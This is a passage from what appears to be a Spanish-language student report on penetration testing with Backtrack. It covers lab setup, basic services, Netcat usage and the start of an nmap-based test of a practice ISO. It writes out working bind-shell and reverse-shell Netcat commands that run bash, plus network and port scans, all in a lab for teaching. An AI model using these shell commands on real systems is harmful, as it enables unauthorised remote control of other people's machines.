5. Revisión de Localización Éste es un método de ganar acceso a una organización a través de las debilidades de su localización y protección de elementos externos. Por ejemplo, comprobar líneas de visión que existen hasta la Página 63

organización, posibles lugares desde los que es posible escuchar dentro de la organización (por ejemplo escuchas láser), horas de luz solar, clima etc... Es decir, se trata de revisar condiciones externas a la propia organización, y que pudieran afectar a su seguridad según donde se encuentra la empresa.

6. Revisión del Entorno En este módulo se revisan condiciones alrededor de la organización, tales como las condiciones de desastres naturales de la empresa, políticas locales, costumbres y ética. Se comprueban condiciones que no dependen de la propia organización, y no solamente físicamente, sino a su contexto y entorno.

Página 64

Parte 2: Conceptos Técnicos

Página 65

Introducción La finalidad de esta parte técnica del documento, es tratar de ver, y estudiar, un conjunto de herramientas software de uso en las auditorías de seguridad informática. Se presentarán, divididos en dos partes, distintos puntos de vista para poder aplicar las herramientas que se van a estudiar, enfocado hacia el aprendizaje de las mismas por parte del lector. Así mismo, se presentan también junto con los problemas y observaciones encontradas durante el estudio del autor. Como primera parte, se estudiará la Backtrack, junto con algunas herramientas que contiene. Será una primera parte de aprendizaje de herramientas, siguiendo un orden lógico para comprender su aprendizaje, aunque sin una relación causal entre ellas. La segunda parte, será introducir un caso práctico en el que poder utilizar herramientas de seguridad con un objetivo en mente: obtener el control del sistema. Por lo tanto, se irán presentando las herramientas en un orden causal (siguiendo las necesidades que vayan apareciendo para cumplir el objetivo), e introduciendo valoraciones y aportaciones personales del autor. A continuación, se presenta ya la primera parte: La distribución Backtrack.

Introducción a Backtrack y justificación Backtrack nace de la fusión de dos conocidas distribuciones de linux : Whax (evolución de Whoppix , o white hat Knoppix) y Auditor Security Collection, tras lo cual ganó en popularidad llegando a ser votada como la mejor distribución live de seguridad informática según insecure.org (web de gran prestigio dentro del ámbito de la seguridad informática). Ésta distribución ha ido basándose en distintas distribuciones, aunque a fecha de hoy, está basada en una Slackware, optimizada para ser utilizada por security penetration testers. Se ha elegido utilizar esta distribución de linux, porque aparte de la gran fama de la que dispone (muy merecida, por cierto), contiene una gran gama de herramientas dedicadas a la seguridad informática preinstaladas, que junto con la posibilidad de arrancar el cd como live cd, lo hacen una de las herramientas de seguridad informática más potentes que existen actualmente. Y no sólo en el mundo del software libre, sino que incluye también al software de pago. Muchas empresas lo utilizan para realizar sus auditorías de seguridad informática, y hoy en día goza de un gran futuro, siendo la versión 4 (beta) la más recientemente puesta a la disposición del público.

Instalación del ambiente de pruebas Como primera decisión, debíamos decidir el sistema operativo a utilizar para poder realizar el presente trabajo. Viendo las opciones disponibles, se decidió instalar una Ubuntu 8.04 a 64 bit como sistema operativo base sobre el cual trabajar. Se ha elegido porque es un sistema operativo libre (y gratuito) con 64 bits, para poder aprovechar los 4GB de RAM que tiene el equipo. La otra alternativa, (desechada por la razón expuesta anteriormente) era Windows Vista a 32 bit. El siguiente paso, ha sido el decidir qué entorno de virtualización utilizar. En el mercado existen bastantes alternativas, y entre las libres (y más famosas) están VMWare, VirtualBox y Qemu. Dado que el autor del presente texto había trabajado anteriormente con VMWare, se ha decidido utilizar éste. La siguiente cuestión a decidir, era elegir qué VMWare utilizar. Las tres alternativas que se han barajado, han sido el Player, el Server y el Workstation. Una de las prioridades, era el poder tener la mínima carga posible, por lo que se ha descartado el Server (preparado para servidores). Seguidamente, la duda estaba entre Player y Workstation. A pesar de que el Workstation es más completo (y puede crear máquinas virtuales), es de pago, por lo que se ha decidido utilizar el VMWare player. Se descargó el programa de la web oficial (http://vmware.com/), nos registramos (de forma gratuita), y tras la descarga se instaló en el sistema. Ahora bien, existe un problema: el Página 66

programa que contenía la red emulada con la que se va a realizar las pruebas, está en el formato .iso, y nos falta un entorno de ejecución, es decir, la máquina virtual VMWare. VMWare Player no nos permite la creación de máquinas virtuales, por lo que se estuvo estudiando la posibilidad de buscar entre técnicos de laboratorio de la facultad de informática, o algún conocido que pudiera crear la máquina virtual para asociarle la iso (de forma legal). Finalmente se encontró una solución, que describo a continuación: En los archivos .vmx de las máquinas virtuales para VMWare, viene especificado en texto plano, la configuración de la máquina virtual. El siguiente extracto, es parte de una máquina virtual cualquiera, en el que se ha modificado la línea donde viene especificada la iso que he modificado a mano para poder utilizar la iso descargada: .encoding = "UTF-8" # VM Machine Info guestOS = "linux" displayName = "Linux" config.version = "7" memsize = "128" # CDROM Info ide1:0.present = "TRUE" ide1:0.fileName = "Lab_Virtual_Labs.DragonJAR.iso" ide1:0.deviceType = "cdrom-image" Al ejecutar VMWare Player, elegimos cargar una máquina virtual existente, seleccionando el .vmx que acabábamos de modificar, cargándose perfectamente. Tras esto, solo nos queda descargarnos una máquina virtual de la web oficial de Backtrack 3 (http:// www.remote-exploit.org/backtrack.html). Una vez descargada, solamente queda el cargar la máquina virtual con VMWare, que funcionó sin problemas. Por último, se ha cambiado el tipo la configuración de red de las máquinas virtuales para que utilicen NAT, creando así una “intranet”, para que puedan comunicarse unas con otras, y además, puedan comunicarse con el exterior.

Backtrack servicios básicos En esta sección, se explica como iniciar algunos servicios básicos que ofrece la distribución Backtrack preinstaladas. Será de utilidad para poder realizar pruebas contra estos servicios, o para poder utilizar esta distribución de forma remota.

Cambiar la contraseña que viene por defecto en BackTrack. Una parte esencial de la seguridad, es el no dejar nunca las configuraciones por defecto que ofrecen los programas. Y más aún si se trata de algo tan importante como lo es la contraseña de root. Por lo tanto, lo primero que se ha realizado sobre la distribución, es el cambiar la contraseña utilizando el comando passwd para introducir la contraseña que queramos.

Configuración y puesta en marcha los servicios básicos de BackTrack. Se ha explorado por el árbol de directorios y los menus gráficos, observando las distintas herramientas. Tras echar un vistazo, y viendo los servicios disponibles, se eligió SSH, Web, atftp y vnc. Esto es Página 67

así porque vienen a ser servicios que o bien son populares en la red actual, o bien porque ofrecen bastante utilidad al auditor. Pasamos pues, a describirlas a continuación:

Puesta en marcha de servidor SSH A continuación, se ha probado a ejecutar un servidor de SSH, para lo que se ha generado una clave pública, para poder habilitar el servicio: #sshd-generate Generating public/private rsa1 key pair. Your identification has been saved in /etc/ssh/ssh_host_key. Your public key has been saved in /etc/ssh/ssh_host_key.pub. The key fingerprint is: df:2e:7b:0c:af:34:75:ed:bb:ba:37:e0:b0:21:7c:15 root@bt Generating public/private rsa key pair. Your identification has been saved in /etc/ssh/ssh_host_rsa_key. Your public key has been saved in /etc/ssh/ssh_host_rsa_key.pub. The key fingerprint is: f6:19:15:65:84:26:87:bd:e8:de:1b:03:e8:d3:5f:00 root@bt Generating public/private dsa key pair. Your identification has been saved in /etc/ssh/ssh_host_dsa_key. Your public key has been saved in /etc/ssh/ssh_host_dsa_key.pub. The key fingerprint is: dc:f4:cf:6f:09:68:eb:5b:c8:b6:ae:10:c5:c2:69:71 root@bt A continuación, se ha lanzado el servidor (que estará escuchando en el puerto 22): #/usr/sbin/sshd Y ya que el comando no devuelve respuesta, hemos comprobado que efectivamente está escuchando: # netstat -ant|grep 22 tcp LISTEN

0

0 0.0.0.0:22

0.0.0.0:*

Finalmente, hemos probado a conectarnos al servidor desde una terminal real: ~$ ssh [email protected] [email protected]'s password: Last login: Fri Feb 20 13:38:38 2009 Linux 2.6.21.5. bt ~ # echo hola Página 68

hola Como vemos, funciona correctamente. Es una forma sencilla de poder conectarnos a Backtrack cuando queramos trabajar desde él, a través de una shell de la máquina local. El siguiente servicio a probar, será un servidor Web, uno de los servicios desde los cuales las empresas se comunican con el exterior:

Servidor Web Uno de los servicores webs más utilizados a lo largo de la red, es el Apache. Es bien conocido, ya que es libre, y suele ser bastante robusto. Por lo tanto, será un buen ejemplo para aprender a ponerlo en marcha, y poder practicar, y un buen ejemplo de servicio básico de Bactrack. Para ponerlo en marcha, ejecutamos: bt ~ # apachectl start httpd: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName bt ~ # netstat -ant|grep 80 tcp LISTEN

0

0 192.168.197.129:80

0.0.0.0:*

Aquí, vemos como hemos ejecutado el apache y la respuesta que obtenemos. Parece que nos devuelve un error, pero es normal obtenerlo. Como no tenemos configurado un dominio para el Apache, éste no es capaz de encontrarlo, y dice que estará en 127.0.0.1 (la loop ip). Para comprobar que el servicio está en marcha, entramos en nuestro navegador web favorito, introducimos la ip de la máquina virtual de la Backtrack, y comprobamos que el servidor web está corriendo (Figura 20: ):

Figura 20: Tenemos ante nosotros, una página web que ofrece Apache por defecto, para que podamos ver que efectivamente el servicio está en marcha, y funcionando correctamente.

Servidor atftpd El siguiente servicio a probar, es el atftpd, que es el servidor que incluye backtrack 3 para TFTP (Trivial File Transfer Protocol). Vamos a ejecutar el daemon, y dejarlo escuchando en el puerto 69: bt / # atftpd --daemon --port 69 /tmp/

Página 69

bt / # netstat -anu | grep 69 udp

0

0 0.0.0.0:69

0.0.0.0:*

Para comprobar que funciona, en la máquina de Bactrack, ponemos un archivo, por ejemplo: bt tmp # echo hola> hola.txt Y ahora, desde nuestra máquina local, instalamos el tftp (el cliente) si no lo tenemos. En nuestro caso, hemos ejecutado: alberaan@Smaug:~$ sudo apt-get install tftp Al acabar la instalación, vamos a intentar bajarnos a la máquina local, el archivo hola.txt: alberaan@Smaug:~$ tftp tftp> connect (to) 192.168.197.129 tftp> get hola.txt Received 6 bytes in 0.0 seconds tftp> q Podremos comprobar entonces, que el archivo lo tenemos en el directorio actual donde hemos ejecutado el cliente tftp.

Servidor VNC El último servicio básico que vamos a probar, es el vncserver. VNC (virtual network computing) es un sistema de escritorio remoto, el cual puede ser muy útil en caso de querer realizar tests de penetración. Ejecutaremos el vncserver en la backtrack: bt ~ # vncserver You will require a password to access your desktops. Password: acceder Verify:

acceder

Would you like to enter a view-only password (y/n)? n New 'X' desktop is bt:1 Starting applications specified in /root/.vnc/xstartup Log file is /root/.vnc/bt:1.log En el código pegado arriba, he puesto el password visible, para poder poner un ejemplo. Ahora Página 70

trataremos de acceder al escritorio remoto. Primero, vamos a comprobar que el servicio está corriendo, y de paso, averiguamos el puerto concreto (puede variar de una versión a otra) , y podemos hacer el netstat como hemos venido haciendo hasta ahora: bt / # netstat -anu | grep 590 udp

0

0 0.0.0.0:5902

0.0.0.0:*

LISTEN

Bien, ahora sabemos, que el puerto 5902 está escuchando el servidor vnc. Para comprobarlo, vamos a usar el navegador web (en mi caso Firefox), y comprobar que funciona. Se cargará el siguiente applet(Figura 21: ):

Figura 21:

Introducimos ahí la contraseña que hemos puesto al arrancar el vncserver, y nos encontramos con el escritorio de nuestra backtrack(Figura 22: ):

Figura 22: El servicio no funciona demasiado bien a través del cliente web, pero es una forma muy cómoda de poder ver lo que hay al otro lado de la conexión, y poder manejarlo a golpe de click. Servicios similares se vienen utilizando desde hace mucho tiempo por hackers para poder divertirse con la víctima, ya que ofrece un control muy vistoso. Una vez vistos todos los servicios básicos, es hora de avanzar hacia la siguiente sección, y estudiar la herramienta Netcat.

Backtrack Netcat Netcat es una herramienta multiplataforma que lee y escribe datos a través de conexiones de red. Página 71

Era utilizado como una herramienta utilizada por administradores y programadores para depurar apliaciones de red, con la curiosidad de que no se había descubierto todos los comandos que mermitía. Por estos motivos, tuvo un gran auge entre la comunidad Hacker, y a menudo era referida como “la navaja multiusos del hacker”. Entre otras cosas (que veremos más adelante), permite comprobar disponibilidad de puertos, qué aplicaciones corren y escuchan este puerto, conectarnos a un servicio de red de forma manual (como haríamos con Telnet). Fue usado, sobre todo por su capacidad de abrir puertas traseras. Una vez nos hemos documentado un poco sobre qué es, y un poco de su historia, nos sentamos delante de nuestra Backtrack (que trae Netcat por defecto). Lo que se ha hecho, ha sido abrir de nuevo el servidor ssh y el servidor Apache, para poder realizar las pruebas desde la máquina local hacia la Backtrak, y aprender a conectarnos usando Netcat. Una vez nos hemos conectado a la Backtrack por ssh tecleamos: bt ~ # nc -h [v1.10] connect to somewhere:

nc [-options] hostname port[s] [ports] ...

listen for inbound:

nc -l -p port [-options] [hostname] [port]

options: -e prog [dangerous!!]

program to exec after connect

-b

allow broadcasts

-g gateway

source-routing hop point[s], up to

-G num

source-routing pointer: 4, 8,

-h

this cruft

8 12, ... -i secs ports scanned

delay interval for lines sent,

-l -n

listen mode, for inbound connects numeric-only IP addresses, no DNS

-o file

hex dump of traffic

-p port

local port number

-r

randomize local and remote ports

-q secs

quit after EOF on stdin and delay of secs

-s addr

local source address

-t

answer TELNET negotiation

-u

UDP mode

-v

verbose [use twice to be more verbose]

-w secs -z

timeout for connects and final net reads zero-I/O mode [used for scanning]

port numbers can be individual or ranges: lo-hi [inclusive] Página 72

Aquí vemos las distintas opciones que nos ofrece Netcat. Una opción interesante, es “-vv” para poder obtener la mayor información posible. Tecleamos para ver que aplicación hay escuchando en el puerto 22 en nuestra propia máquina: bt ~ # nc -vv 192.168.197.129 22 192.168.197.129: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.197.129] 22 (ssh) open SSH-1.99-OpenSSH_5.0 sent 0, rcvd 21 Efectivamente, hay un servidor ssh escuchando ese puerto. Concretamente, OpenSSH 5.0. Ahora, vamos ver el puerto 80: bt ~ # nc -vv 192.168.197.129 80 192.168.197.129: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.197.129] 80 (http) open sent 0, rcvd 0 Como vemos, hay un servidor de http abierto. Ya comprendemos el uso básico de Netcat, y ahora, sería conveniente aprender como utilizarlo para realizar tests de intrusión.

Identificando Banners de Servidores web Una de las funcionalidades de Netcat, es la identificaciones de banners. Esto es, ver información que nos devuelve un servidor cuando nos conectamos desde un cliente (generalmente desde modo texto). La identificación de Banners nos es útil, porque nos devuelve algo de información del sistema de forma no intrusiva, y por lo tanto, totalmente legal, y sin levantar sospechas. En nuestro caso, vamos a hacerlo contra el servidor web de Backtrack. Para ello, hay que teclear: bt ~ # nc -vv 192.168.197.129 80 192.168.197.129: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.197.129] 80 (http) open El prompt se queda esperando a que realicemos alguna petición. Aquí, tecleamos una petición http, y le damos a enter dos veces (importante, http espera 2 retornos de carro según el estándar), tras lo cual obtenemos lo siguiente: bt ~ # nc -vv 192.168.197.129 80 192.168.197.129: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.197.129] 80 (http) open HEAD / HTTP/1.0 HTTP/1.1 200 OK Página 73

Date: Fri, 13 Mar 2009 12:04:10 GMT Server: Apache/2.2.8 (Unix) DAV/2 Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT ETag: "485a0-2c-3e9564c23b600" Accept-Ranges: bytes Content-Length: 44 Connection: close Content-Type: text/html De aquí, lo más importante que obtenemos, son los datos del server (Apache versión 2.2.8 UNIX), que nos servirá para en un futuro poder encontrar exploits o bugs conocidos para esa versión concreta del servidor. Telnet nos ofrece esta misma información, pero vemos que nc incluye una herramienta igual (o equivalente integrada), que nos proporciona la misma funcionalidad, por lo que nos puede ser una herramienta sustituta, y así poder aprender como hacerlo en sistemas donde falte una o la otra. También es bueno aprenderlo desde Netcat porque ya que es una herramienta que va a integrar más funcionalidades, podemos trabajar de forma rápida con ella, al no tener que ir cambiando de programa.

Modo Listen de Netcat La siguiente funcionalidad que vamos a ver de netcat, es el modo listen de netcat. Es una tarea que ha sido muy utilizada con Netcat, para depurar clientes/aplicaciones de red, por ejemplo. En nuestro caso, vamos a montar dos netcats en dos máquinas distintas, para comunicarnos como si fuera un chat. Vamos a usar nuestra Backtrack y nuestra máquina local (netcat viene instalado tambien por defecto en Ubuntu 8.04, que es la que estamos utilizando). Primero, desde la backtrack, vamos a iniciar el netcat en modo escucha: bt ~ # nc -lvvp 12345 listening on [any] 12345 ... 192.168.197.1: inverse host lookup failed: Unknown host Acabamos de dejar escuchando en el puerto 12345 el netcat. Ahora, nos conectamos desde Ubuntu. Abrimos una terminal y tecleamos: alberaan@Smaug:~$ nc -vv 192.168.197.129 12345 192.168.197.129: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.197.129] 12345 (?) open Ya tenemos las dos máquinas conectadas en un chat(Figura 23: ):

Página 74

Figura 23: La utilidad de esto en un principio podría parecer nula (mas allá de sus aplicaciones de ocio), pero como veremos más adelante, el mundo de posibilidades que nos ofrece, es inmenso, sobre todo desde el punto de vista de tests de intrusión. Una de nuestars metas a la hora de tratar de penetrar en un sistema, será el poder colocar un Netcat en modo listen (o similar)en la máquina objetivo. Es por ello, vital, aprender a realizar esto.

Envío de archivos Lo siguiente que vamos a probar, es a enviar archivos mediante Netcat. La utilidad práctica de esto, es que una vez tengamos acceso al sistema, podamos intercambiar ficheros con él, y poder continuar con la auditoría. Un usuario malintencionado podría subir virus, troyanos etc.., y de igual forma, nosotros podríamos subir software similar para poder continuar con la escalada de privilegios, o continuar con el test de penetración en cuestión. Para ello, vamos a dejar netcat a la escucha en Backtrack, y redirigiremos la salida a un archivo de texto: bt ~ # nc -lvp 12345 > salida.txt listening on [any] 12345 ... Y desde Ubuntu, creamos el archivo de texto a enviar, y nos conectamos como hemos hecho antes, enviando el contenido del archivo: alberaan@Smaug:~$ echo Esto es un archivo > test.txt alberaan@Smaug:~$ nc -vv 192.168.197.129 12345 < test.txt 192.168.197.129: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.197.129] 12345 (?) open Finalmente, vemos el contenido del archivo salida.txt que habrá quedado en Backtrack: bt ~ # cat salida.txt Esto es un archivo Hemos de resaltar, que esto se podría hacer con cualquier tipo de archivo, ya que se transmite bit a bit, por lo que podríamos transferir no sólo texto, sino cualquier tipo de archivo. Hemos realizado de nuevo lo anterior, solo que redirigiendo un archivo de imagen en lugar de texto, y transferido con el mismo método. Desde Backtrack: Página 75

bt ~ # nc -lvp 12345 > imagen.jpeg listening on [any] 12345 ... Desde Ubuntu: alberaan@Smaug:~$ nc -vv 192.168.197.129 12345 < imagen.jpeg 192.168.197.129: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.197.129] 12345 (?) open

Finalmente, desde Backtrack podemos abrir la imagen con cualquier visor de imágenes, y comprobar, que efectivamente, el archivo se ha transferido correctamente. Esta última parte, resultó ser sorprendente: ¿como es posible que, con un programa con el que antes habíamos enviado texto, podamos ahora enviar una imagen? Ahora que ya conocemos como comunicarnos con la máquina víctima, es un paso lógico el aprender como controlarla con una shell.

Administración remota Vamos a ejecutar desde Ubuntu el Netcat para que abra una shell en la máquina remota, y poder ejecutar comandos. Esta es una de las metas de cualquier hacker, para tener control sobre la máquina/as objetivo. El asaltarla, y el poder procurarse de una interfaz para poder interactuar con la máquina, y dejarse una puerta trasera para poder acceder posteriormente de una forma más fácil y rápida. Netcat ofrece una forma de hacerlo, ya que permite el que se ejecute un programa en cuanto algo se conecte a él. Lo primero que podemos pensar, es en una shell: bash. Dicho esto, vamos a proceder a obtener control desde Ubuntu sobre Backtrack: Desde backtrack dejaremos netcat a la escucha del puerto 12345, tal y como hemos hecho antes. Ahora usaremos un nuevo parámetro: -e seguido del ejecutable que queremos que se ejecute al conectarse a él un cliente. Hay que añadir, que no ejecutará el programa si no ponemos la ruta completa o la relativa. Como queremos obtener una shell, ponemos la shell de linux que está en /bin/bash. En nuestro caso nos hemos movido a ese directorio y ejecutado la orden desde allí. En caso de querer obtener una shell en windows, lo que haríamos sería poner cmd.exe, que es la “shell” que ofrece esta gama de sistemas operativos. A continuación la orden en backtrack: bt bin # nc -lvp 12345 -e bash listening on [any] 12345 ... 192.168.197.1: inverse host lookup failed: Unknown host connect to [192.168.197.129] from (UNKNOWN) [192.168.197.1] 44119 Hemos puesto Netcat a la escucha, y decidmos que queremos que ejecute bash. Ahora nos conectamos desde la shell de Ubuntu, tal y como venimos haciendo hasta ahora. Esto hará que se ejecute el bash en la máquina cliente, y podremos empezar a trabajar como si fuera una shell local (aunque algunas cosas cambiarán, por ejemplo, no se mantienen los alias): alberaan@Smaug:~$ nc -v 192.168.197.129 12345 192.168.197.129: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.197.129] 12345 (?) open

Página 76

Aquí (aunque no aparezca el promt), podemos ejecutar órdenes igual que si fuera nuestra propia shell: hemos conseguido entrar en el sistema (con los permisos que tenga el usuario que haya ejecutado el Netcat en la máquina víctima).

Shell inversa Muchas veces, sucede que no tenemos control sobre el cómo acceder a la máquina víctima. Ya sea porque la máquina víctima tiene una IP dinámica, no es visible desde otras redes porque está tras un router con NAT. También puede ser porque el firewall filtre las conexiones entrantes etc... Una buena idea para solventar esto, es usar Netcat para crear una shell inversa. Una shell remota normal, abre un puerto y espera recibir conexiones entrantes desde un cliente (el modo de proceder está descrito en el paso anterior). Esto no se podría hacer en alguno de los casos descritos en el párrafo anterior. Una shell inversa, se suele utilizar cuando se da un caso de los mencionados arriba. Es el cliente el que se conecta a un puerto abierto de la máquina atacante. De esta forma, el atacante puede controlar que no se den las condiciones mencionadas en su propia red/máquina. Vista la importancia de esta opción en netcat, pasamos a probarlo en nuestras terminales: Para este ejemplo, vamos a usar la máquina local (Ubuntu) como atacante, y la Backtrack como víctima. Desde Ubuntu, dejamos netcat a la escucha, de la misma forma que venimos haciendo hasta ahora: alberaan@Smaug:~$ nc -lvp 12345 listening on [any] 12345 ... Y desde Backtrack, le decimos a que IP conectarnos, y que ejecute /bin/bash en cuanto se realice la conexión: bt ~ # nc -v 192.168.197.1 12345 -e /bin/bash 192.168.197.1: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.197.1] 12345 (?) open Ahora, desde nuestra máquina ubuntu, podemos ejecutar un ls, para comprobar que efectivamente, tenemos una shell abierta en Backtrack. Como nota adicional, podemos ver, que el atacante se conecta como si fuera el usuario que ejecuta el netcat en la máquina víctima. Desde ubuntu ejecutamos el comando whoami (para saber que usuario somos), y obtenemos como respuesta: whoami root Con esto, finalizamos la primera parte del trabajo. Ya conocemos algunas herramientas y servicios básicos que tenemos a nuestra disposición y pasamos a la segunda parte.

Test de penetración La finalidad de esta segunda parte, será el mostrar el aprendizaje de herramientas y técnicas para poder realizar un Test de Penetración haciendo uso de la distribución BackTrack. Es decir, aplicaremos los conocimientos aprendidos en el primer taller a un ejemplo “real” (emulado), y nos adentraremos en los test de intrusión en un sistema que no importará que se dañe, y legal para realizarlo, y por lo tanto, un entorno de prácticas ideal. Como segundo objetivo, será el obtener la contraseña de root del sistema atacado. Página 77

Introducción Conociendo ya algunas herramientas de seguridad, y tras haber estudiado la auditoría OSSTMM, tenemos el conocimiento suficiente como para poder realizar un pequeño test de intrusión, y adentrarnos en un caso concreto. Este escenario, es una .iso que fue creada con la finalidad de ser utilizada como entorno de pruebas de seguridad informática. Su descripción es la siguiente: El escenario sobre el cual vamos a trabajar, emula el CEO (Chief Executive Officer o director ejecutivo) de una pequeña empresa que ha sido presionado por el Comité Administrativo para ser objeto de un Test de Penetración a realizarse desde la empresa. El Director General afirma que su empresa es segura, cree además de que este Test de Penetración será un enorme desperdicio de dinero, sobre todo porque ya tiene una solución de exploración (escaneo) de vulnerabilidades (Nessus). Para hacer “felices” a los del Comité Administrativo, él decide contratarle a usted y le dá un plazo de 5 días para realizar el trabajo, pues como se mencionó él no cree que la empresa sea vulnerable a cualquier intento de acceso no autorizado. Su tarea es analizar solo un servidor en el cual se aloja una página Web que ofrece información de contacto de la misma. El Director General espera que usted intente con todos los tipos de ataques que estén a su disposición, pues está seguro de que usted no podrá vulnerar el sistema y obtener acceso. Demostrar que el sistema es vulnerable sería la mejor manera de concienciar al Director General, para desde allí implementar mejores prácticas en materia de seguridad Informática.

Escaneo e identificación del sistema Lo primero que hemos de realizar al entrar en un sistema que no conocemos, es el ver que hay. Deberíamos intentar conocer todo lo que hay en marcha dentro de los límites de la auditoría. La meta de esta sección será conocer la situación y características de la red que estamos auditando. Conocer que máquinas están funcionando, y que servicios están disponibles. También querremos conocer las versiones de los programas que los implementan, y sobre que sistemas operativos están montados. La herramienta más conocida en este campo, es sin duda, el NMAP.

NMAP Introducción

NMAP o Network Mapper, es una herramienta, que en un principio es un scanner de puertos. Es decir, nos sirve para comprobar qué está escuchando en un determinado puerto. Pero, también nos sirve para, por ejemplo, ejecutar scripts que ejecuten malware, hacer pings a redes enteras etc... Es un programa libre, y está atribuido Fyodor. Nmap apareció en septiembre de 1997, en un artículo de la revista Phrack Magazine. El código fuente venía incluido. Desde entonces se han incluido cientos de mejoras, y está considerado como el escaner de puertos por excelencia. Poniéndonos ya con aspectos prácticos, vamos a intentar descubrir la IP de nuestro sistema virtualizado. Lo llamaremos a partir de ahora “red virtualizada”.

Página 78

Host discovery

Lo primero que hacemos, es hacer un host discovery. Como ya hemos dicho, lo primero que debemos hacer al entrar en un sistema, es ver que hay. Hacer un host discovery se refiere a echar un vistazo a ver que máquinas existen, y están funcionando. Nos interesará para que posteriormente podamos hacer estudios de estas máquinas disponibles sin tener que generar demasiado trabajo a nuestras herramientas, y se centren solamente en las máquinas disponibles. Para ello, vamos a hacer un ping scan (hace pings a todas las máquinas que especifiquemos en el rango. ¿Ahora bien, a que rango se lo hacemos? Desde Ubuntu, vamos a ver nuestras interfaces virtuales, para saber en que red está nuestra red virtualizada. Hacemos ifconfig, y nos aparecen las siguientes interfaces virtuales: vmnet1 Link encap:Ethernet direcciónHW 00:50:56:c0:00:01 inet dirección:172.16.5.1 Máscara:255.255.255.0

Difusión:172.16.5.255

dirección inet6: fe80::250:56ff:fec0:1/64 Alcance:Vínculo ARRIBA DIFUSIÓN CORRIENDO MULTICAST

MTU:1500

Métrica:1

RX packets:1 errors:0 dropped:0 overruns:0 frame:0 TX packets:797 errors:0 dropped:0 overruns:0 carrier:0 colisiones:0 txqueuelen:1000 RX bytes:0 (0.0 B) vmnet8

Link encap:Ethernet

TX bytes:0 (0.0 B) direcciónHW 00:50:56:c0:00:08

inet dirección:192.168.197.1 Máscara:255.255.255.0

Difusión:192.168.197.255

dirección inet6: fe80::250:56ff:fec0:8/64 Alcance:Vínculo ARRIBA DIFUSIÓN CORRIENDO MULTICAST

MTU:1500

Métrica:1

RX packets:6 errors:0 dropped:0 overruns:0 frame:0 TX packets:8211 errors:0 dropped:0 overruns:0 carrier:0 colisiones:0 txqueuelen:1000 RX bytes:0 (0.0 B)

TX bytes:0 (0.0 B)

Bien, tenemos ips de nuestra máquina, pertenecientes a dos redes virtuales. Tambien nos fijamos en la máscara, y así tenemos 2 redes que investigar: 172.16.5.1/24 y 192.168.197.1/24. El /24 la obtenemos de la máscara de subred (255.255.255.0). Bien, hagamos el ping scan, con el comando: namp -n -sP 192.168.197.0/24 Como respuesta, obtenemos: Starting Nmap 4.53 ( http://insecure.org ) at 2009-04-03 13:39 CEST Host 192.168.197.1 appears to be up. Página 79

Nmap done: 256 IP addresses (1 host up) scanned in 2.110 seconds Es decir, solo una máquina: la nuestra. Probando en la otra ip, obtenemos los mismos resultados. Aquí, se nos ocurre pensar, que quizás las máquinas estén no respondiendo a los pings (algo muy aconsejable), por lo que tenemos que tomar otras medidas para intentar averiguar la ip por la cual tratar con la red. Escaneo de puertos

Vamos a intentar escanear puertos, a ver si encontrásemos alguno abierto o filtrado. Algo que nos indique que hay una máquina corriendo, y que aplicaciones o servicios están corriendo. Encontrará incluso las versiones de los programas que están escuchando a los servicios. Para ello, hacemos un escaneo de puertos cualquiera (por ejemplo el stealth -sS), y reducimos el rango de puertos a los típicos, reduciendo así el tiempo que durará el test: sudo nmap -PN -sS -p80,22 192.168.197.0/24 Starting Nmap 4.53 ( http://insecure.org ) at 2009-04-03 14:23 CEST Interesting ports on 192.168.197.1: PORT

STATE

SERVICE

22/tcp closed ssh 80/tcp closed http Interesting ports on 192.168.197.254: PORT

STATE

SERVICE

22/tcp filtered ssh 80/tcp filtered http MAC Address: 00:50:56:E9:2D:31 (VMWare) Nmap done: 256 IP addresses (2 hosts up) scanned in 6.656 seconds Errores

Hemos intentado acceder a la página web donde se muestran las instrucciones para la realización del test de intrusión (una introducción hacia la distribución live preparada para prácticas de test de penetración). Habíamos visto, que la ip objetivo, era 192.168.197.254. Pero esta ip no nos sirve páginas web (El firefox no nos sirve la página). Investigando, nos damos cuenta de que las ips acabadas en 254 suelen corresponder a routers. En nuestro caso, debe de ser algún router virtual creado por VMWARE. Por lo tanto, estamos en las mismas. Investigando sobre esta distribución, nos damos cuenta de que la web que sirve la página es 192.168.1.100. Pero ésta sigue sin responder. Intentamos buscarla haciendo escaneos de puertos y de ips a lo largo de nuestras redes, pero no hay manera de encontrarla, y no somos capaces de acceder. Finalmente, tras un trabajo de investigación y pruebas, decidimos cambiar la ip de nuestra backtrack a la subred 192.168.1.0/24, haciendo que pertenezca a la red de la distribución: Página 80

bt ~ # ifconfig eth0 192.168.1.4 bt ~ # ifconfig eth0

Link encap:Ethernet

HWaddr 00:0C:29:19:FD:5D

inet addr:192.168.1.4 Mask:255.255.255.0

Bcast:192.168.1.255

UP BROADCAST NOTRAILERS RUNNING MULTICAST

MTU:1500

Metric:1 RX packets:111 errors:0 dropped:0 overruns:0 frame:0 TX packets:55 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:132902 (129.7 KiB)

TX bytes:6000 (5.8 KiB)

Base address:0x1080 Memory:e8820000-e8840000 lo

Link encap:Local Loopback inet addr:127.0.0.1

Mask:255.0.0.0

UP LOOPBACK RUNNING

MTU:16436

Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 b)

TX bytes:0 (0.0 b)

Ahora, comprobamos a ver si podemos acceder a la página, introduciendo la ip en el firefox de backtrack(Figura 24: ):

Figura 24: Página 81

Máquinas online

